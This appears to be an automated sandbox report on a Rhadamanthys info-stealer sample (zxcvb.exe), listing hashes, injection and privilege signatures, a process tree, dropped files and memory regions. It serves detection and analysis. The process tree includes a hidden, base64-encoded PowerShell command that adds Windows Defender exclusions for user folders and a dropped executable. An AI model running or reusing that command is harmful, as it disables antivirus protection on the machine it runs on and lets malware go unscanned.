Analysis
-
max time kernel
150s -
max time network
86s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
06-07-2024 18:00
Static task
static1
Behavioral task
behavioral1
Sample
zxcvb.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
zxcvb.exe
Resource
win10v2004-20240508-en
General
-
Target
zxcvb.exe
-
Size
5.4MB
-
MD5
a2a9c309c5300a53d2c2fc41b71b174b
-
SHA1
f6c26eae1925425fa8966266e87a57b688fad218
-
SHA256
7ccfae8644c3bc7439b88f2dc0de06bb5082de09b0bf5e143de17487ff252224
-
SHA512
a29eec8fa98174a74e9bd93c5902cdd95ce329ff8b7a1469901a95705dc1d7fffde58afa296399febb8559d8cd73c932945e85cce8af54e7a672d8f1618e3f7c
-
SSDEEP
98304:j+ddAtuMvY00V2vtQSH7OuqeGszSQTADu0mL63KQOKvYA1ZuoyQPNf+xKi:wdOuMvc8VdbOuqePmQTAKH63NYAiGfiT
Malware Config
Signatures
-
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
zxcvb.exedescription pid process target process PID 2080 created 2488 2080 zxcvb.exe sihost.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid process 5964 powershell.exe 4964 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
zxcvb.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation zxcvb.exe -
Executes dropped EXE 4 IoCs
Processes:
BLueHvffhw.exeBLueHvffhw.exeFallbackBuffer.exeFallbackBuffer.exepid process 1464 BLueHvffhw.exe 8 BLueHvffhw.exe 5312 FallbackBuffer.exe 1680 FallbackBuffer.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
zxcvb.exeBLueHvffhw.exeFallbackBuffer.exeFallbackBuffer.exedescription pid process target process PID 2912 set thread context of 2080 2912 zxcvb.exe zxcvb.exe PID 1464 set thread context of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 5312 set thread context of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 1680 set thread context of 5540 1680 FallbackBuffer.exe InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
zxcvb.exeopenwith.exepowershell.exeFallbackBuffer.exepowershell.exepid process 2080 zxcvb.exe 2080 zxcvb.exe 4452 openwith.exe 4452 openwith.exe 4452 openwith.exe 4452 openwith.exe 5964 powershell.exe 5964 powershell.exe 1680 FallbackBuffer.exe 1680 FallbackBuffer.exe 1680 FallbackBuffer.exe 1680 FallbackBuffer.exe 1680 FallbackBuffer.exe 1680 FallbackBuffer.exe 4964 powershell.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
zxcvb.exeBLueHvffhw.exeBLueHvffhw.exepowershell.exeFallbackBuffer.exeFallbackBuffer.exeInstallUtil.exepowershell.exedescription pid process Token: SeDebugPrivilege 2912 zxcvb.exe Token: SeDebugPrivilege 2912 zxcvb.exe Token: SeDebugPrivilege 1464 BLueHvffhw.exe Token: SeDebugPrivilege 1464 BLueHvffhw.exe Token: SeDebugPrivilege 8 BLueHvffhw.exe Token: SeDebugPrivilege 5964 powershell.exe Token: SeDebugPrivilege 5312 FallbackBuffer.exe Token: SeDebugPrivilege 5312 FallbackBuffer.exe Token: SeDebugPrivilege 1680 FallbackBuffer.exe Token: SeDebugPrivilege 5540 InstallUtil.exe Token: SeDebugPrivilege 4964 powershell.exe -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
zxcvb.exezxcvb.exeBLueHvffhw.exeFallbackBuffer.exeFallbackBuffer.exedescription pid process target process PID 2912 wrote to memory of 1464 2912 zxcvb.exe BLueHvffhw.exe PID 2912 wrote to memory of 1464 2912 zxcvb.exe BLueHvffhw.exe PID 2912 wrote to memory of 1464 2912 zxcvb.exe BLueHvffhw.exe PID 2912 wrote to memory of 2080 2912 zxcvb.exe zxcvb.exe PID 2912 wrote to memory of 2080 2912 zxcvb.exe zxcvb.exe PID 2912 wrote to memory of 2080 2912 zxcvb.exe zxcvb.exe PID 2912 wrote to memory of 2080 2912 zxcvb.exe zxcvb.exe PID 2912 wrote to memory of 2080 2912 zxcvb.exe zxcvb.exe PID 2912 wrote to memory of 2080 2912 zxcvb.exe zxcvb.exe PID 2912 wrote to memory of 2080 2912 zxcvb.exe zxcvb.exe PID 2912 wrote to memory of 2080 2912 zxcvb.exe zxcvb.exe PID 2080 wrote to memory of 4452 2080 zxcvb.exe openwith.exe PID 2080 wrote to memory of 4452 2080 zxcvb.exe openwith.exe PID 2080 wrote to memory of 4452 2080 zxcvb.exe openwith.exe PID 2080 wrote to memory of 4452 2080 zxcvb.exe openwith.exe PID 2080 wrote to memory of 4452 2080 zxcvb.exe openwith.exe PID 1464 wrote to memory of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 1464 wrote to memory of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 1464 wrote to memory of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 1464 wrote to memory of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 1464 wrote to memory of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 1464 wrote to memory of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 1464 wrote to memory of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 1464 wrote to memory of 8 1464 BLueHvffhw.exe BLueHvffhw.exe PID 5312 wrote to memory of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 5312 wrote to memory of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 5312 wrote to memory of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 5312 wrote to memory of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 5312 wrote to memory of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 5312 wrote to memory of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 5312 wrote to memory of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 5312 wrote to memory of 1680 5312 FallbackBuffer.exe FallbackBuffer.exe PID 1680 wrote to memory of 5332 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5332 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5332 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5412 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5412 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5412 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5540 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5540 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5540 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5540 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5540 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5540 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5540 1680 FallbackBuffer.exe InstallUtil.exe PID 1680 wrote to memory of 5540 1680 FallbackBuffer.exe InstallUtil.exe
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\openwith.exe"C:\Windows\system32\openwith.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\zxcvb.exe"C:\Users\Admin\AppData\Local\Temp\zxcvb.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe"C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe"C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\zxcvb.exe"C:\Users\Admin\AppData\Local\Temp\zxcvb.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAARgBhAGwAbABiAGEAYwBrAEIAdQBmAGYAZQByAC4AZQB4AGUAOwA=1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Current\gaptt\FallbackBuffer.exeC:\Users\Admin\AppData\Local\Current\gaptt\FallbackBuffer.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Current\gaptt\FallbackBuffer.exe"C:\Users\Admin\AppData\Local\Current\gaptt\FallbackBuffer.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAARgBhAGwAbABiAGEAYwBrAEIAdQBmAGYAZQByAC4AZQB4AGUAOwA=1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\zxcvb.exe.logFilesize
805B
MD558a9108e39c2ea50e65c23be3a9407cf
SHA1fb21f7b9330aa1a77080a3243b81b49035102d7b
SHA2566049be83020702896a539b5c8c13270add224d7b91b3ee0bebc328791b74a84b
SHA51293804ee8a4560503e47c07f5fa4a959e23355a01aba406c103d339debc9b2b1d20a345cdbb8d8069dac97b9151f228cf559ac3dde1500e3484fba1a4126842bf
-
C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exeFilesize
2.7MB
MD5abf2da5b3e7845f50463a72f8b6e6aaa
SHA1a5299f55950ca82134da73b9e9844c5d624114c3
SHA2562a4b1ae0ae67cd31f85680e6351bd5b92ff61e246c158decb1a43a3ef01d9f2c
SHA512570e8becd18b36d66a2ac295518c8ba3c0bc83d8a6175e601b509efd9237462d1d0826dbeb9e52465e7cdcd57cb4ae7fd859ddc4a5aad895cef6ef7fa981e8a4
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_osnmsqtt.z4v.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/8-12027-0x0000000005490000-0x00000000054F6000-memory.dmpFilesize
408KB
-
memory/8-12026-0x0000000005330000-0x0000000005386000-memory.dmpFilesize
344KB
-
memory/8-12025-0x0000000005050000-0x0000000005058000-memory.dmpFilesize
32KB
-
memory/8-9827-0x00000000050D0000-0x00000000051B8000-memory.dmpFilesize
928KB
-
memory/8-9826-0x0000000000400000-0x00000000004AC000-memory.dmpFilesize
688KB
-
memory/1464-9820-0x0000000005B00000-0x0000000005B10000-memory.dmpFilesize
64KB
-
memory/1464-9821-0x0000000005FC0000-0x00000000060B4000-memory.dmpFilesize
976KB
-
memory/1464-9841-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/1464-4911-0x0000000005B10000-0x0000000005DC8000-memory.dmpFilesize
2.7MB
-
memory/1464-4908-0x0000000000E50000-0x000000000110C000-memory.dmpFilesize
2.7MB
-
memory/1464-4907-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2080-5750-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2080-5652-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2080-5464-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2080-5306-0x00000000053B0000-0x00000000053B8000-memory.dmpFilesize
32KB
-
memory/2080-4994-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2080-4914-0x0000000000400000-0x00000000004B0000-memory.dmpFilesize
704KB
-
memory/2080-4913-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2912-48-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-42-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-26-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-28-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-24-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-22-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-20-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-18-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-12-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-10-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-5-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-66-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-64-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-62-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-60-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-68-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-4891-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2912-4892-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2912-4893-0x00000000079F0000-0x0000000007DA0000-memory.dmpFilesize
3.7MB
-
memory/2912-4894-0x0000000005690000-0x00000000056DC000-memory.dmpFilesize
304KB
-
memory/2912-34-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-38-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-4906-0x00000000062F0000-0x0000000006344000-memory.dmpFilesize
336KB
-
memory/2912-30-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-44-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-4912-0x0000000074E70000-0x0000000075620000-memory.dmpFilesize
7.7MB
-
memory/2912-46-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-0-0x0000000074E7E000-0x0000000074E7F000-memory.dmpFilesize
4KB
-
memory/2912-50-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-52-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-54-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-56-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-58-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-1-0x0000000000400000-0x0000000000978000-memory.dmpFilesize
5.5MB
-
memory/2912-36-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-40-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-32-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-16-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-14-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-6-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-8-0x0000000006480000-0x00000000069EE000-memory.dmpFilesize
5.4MB
-
memory/2912-4-0x00000000053F0000-0x0000000005482000-memory.dmpFilesize
584KB
-
memory/2912-3-0x0000000005900000-0x0000000005EA4000-memory.dmpFilesize
5.6MB
-
memory/2912-2-0x0000000006480000-0x00000000069F4000-memory.dmpFilesize
5.5MB
-
memory/4452-5752-0x00000000008F0000-0x00000000008F9000-memory.dmpFilesize
36KB
-
memory/5312-16929-0x00000000054A0000-0x0000000005594000-memory.dmpFilesize
976KB
-
memory/5964-12028-0x0000027776510000-0x0000027776532000-memory.dmpFilesize
136KB